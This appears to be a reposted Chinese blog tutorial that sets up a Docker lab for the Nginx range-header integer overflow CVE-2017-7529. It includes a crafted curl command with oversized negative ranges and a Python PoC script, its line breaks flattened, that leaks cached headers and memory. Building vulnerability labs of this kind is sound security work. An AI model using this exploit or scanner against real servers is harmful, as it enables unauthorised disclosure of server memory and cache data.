使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证

来源:互联网 发布:淘宝手机端网址转化 编辑:程序博客网 时间:2024/06/05 06:11

漏洞具体信息可以看http://www.freebuf.com/articles/terminal/140402.html


创建容器:

使用之前制好的镜像ubuntu_aliyun:1.0创建新容器:

docker run -it -d --name nginx_int_overflow -p 8086:80 ubuntu_aliyun:1.0

docker exec -it id /bin/bash

apt-get update

然后安装必要的包,如:

apt-get install wget gcc make curl vim python


安装Nginx:

有两种安装的方法一种是直接通过apt-get install nginx,这样当前测试安装的版本是1.10.3,但不推荐这种安装,默认安装的都是官网有打补丁的(不过没有测试);

另一种方法就是源代码安装,这里下载1.13.0版本:

wget http://nginx.org/download/nginx-1.13.0.tar.gz

tar -zxvf nginx-1.13.0.tar.gz

cd /nginx

./configure --prefix=/opt/nginx

make

make install

期间在运行configure时会提示需要安装相应的库:


apt-get install libpcre3 libpcre3-dev zlib1g-dev

然后再make和make install就好,接着进入Nginx的目录,查看版本并开启:


配置反向代理:

到/home目录中新建test.html测试文件,然后输入命令:

nohup python -m SimpleHTTPServer 8080 &

该命令会建立简单的HTTP服务器并在后台运行。

通过curl确认可以访问:



然后修改Nginx配置文件:

vim /opt/nginx/conf/nginx.conf

在http的server中的lication中添加:

proxy_pass http://127.0.0.1:8080;


保存退出,重启Nginx(先kill掉相关进程再./nginx开启)。

然后在物理机访问看看:


访问如图则反向代理配置成功。


修改nginx.conf文件测试漏洞:

按照开头FreeBuf那篇文章的内容进行修改,这里的图片URL是当时看博客的时候随意找的一个,红框里的内容是添加、修改的内容:



两次调用curl命令,可以看到header中有X-Proxy-Cache字段且其值从第一次的MISS到第二次为HIT,即通过两次访问有了命中缓存,另外也可以看到该图片文件的大小为152814bits:



然后查找Nginx缓存文件的路径:

find /tmp/nginx


找到路径最长的那个,通过head命令查看开头前几行看看:


可以看到其存在“KEY”关键字,即是实现两层的缓存,可以看到真正的图片所在的服务器和Nginx服务器之间的header信息。


下面来计算相关的range值:

图片的大小记为img_len,则img_len=152814

总的大小值记为len,则len=0×8000000000000000

为了让第一个范围值range1向前读取其他数据,range1和img_len的差值最好保持在600左右(个人测试其他数值,太大或太小都会影响结果),即range1-img_len=600,得出range1=153414

第二个范围值range2=len-range1,即可得出range2=9223372036854622394

最后将两个range值放到curl的-r参数中即可,由于输出较多就输出到一个文件中再查看即可:

curl -i http://127.0.0.1/upload/2015_04/15040421234894.jpg -r -153414,-9223372036854622394 > 1.txt

vim 1.txt


可以看到,有KEY关键字,即查看到了Nginx和原来的服务器的一些信息,其中header中有Content-Range字段,其值正是设置的range值的范围,即验证了Nginx整数溢出漏洞的存在。


编写PoC验证:

下面的这段脚本比较简略,直接使用Linux的curl命令来实现验证,因而在Linux中运行。

#!/usr/bin/python#coding=utf-8import osimport commandsimport sysdef poc(url):print '[*]Testing for: ' + urlcmd1 = 'curl -I ' + urlos.popen(cmd1)os.popen(cmd1)re1 = commands.getoutput(cmd1).split('\n')hit = Falsehas_x_proxy_cache = Falseimg_len = 0for i in range(0,len(re1)):# print re1[i]if 'X-Proxy-Cache' in re1[i]:has_x_proxy_cache = Trueif 'HIT' in re1[i]:hit = Trueif 'Content-Length' in re1[i]:img_len = int(re1[i].split(' ')[1])if has_x_proxy_cache:if hit:print '[*]X-Proxy-Cache is HIT.'print '[*]The image length: ' + str(img_len)len1 = img_len + 600len2 = 0x8000000000000000 - len1cmd2 = 'curl -i ' + url + ' -r -' + str(len1) + ',-' + str(len2)re2 = commands.getoutput(cmd2).split('\n')vul = Falsefor i in range(0,len(re2)):if 'KEY' in re2[i]:print '[+]Nginx Int Overflow(CVE-2017-7529) exists!'print '[+]' + re2[i]vul = Trueif not vul:print '[-]Can not find the vuln.'else:print '[-]The X-Proxy-Cache is MISS.'print '[-]Can not find the vuln.'else:print '[-]The header without X-Proxy-Cache.'print '[-]Can not find the vuln.'def main():if len(sys.argv) == 2:url = sys.argv[1]poc(url)else:print '[*]Usage: python nginx_int_overflow.py [URL]'if __name__ == '__main__':main()

在另外一台docker容器kali-linux-docker中运行脚本(注意验证的前提是当前主机还没访问过该URL或者访问已经过去很久了,就是验证的时候不能存在缓存即可):


可以看到,成功验证了该漏洞的存在。


制成Docker镜像并打包:

exit

docker stop id

docker commit id nginx_int_overflow:1.0

docker save -o nginx_int_overflow.tar nginx_int_overflow:1.0


至此完成了Nginx整数溢出漏洞环境的搭建和PoC的验证,其中该脚本有很多地方可以去优化的以及编写Windows下的PoC,有时间再改改吧~

阅读全文
0 0
原创粉丝点击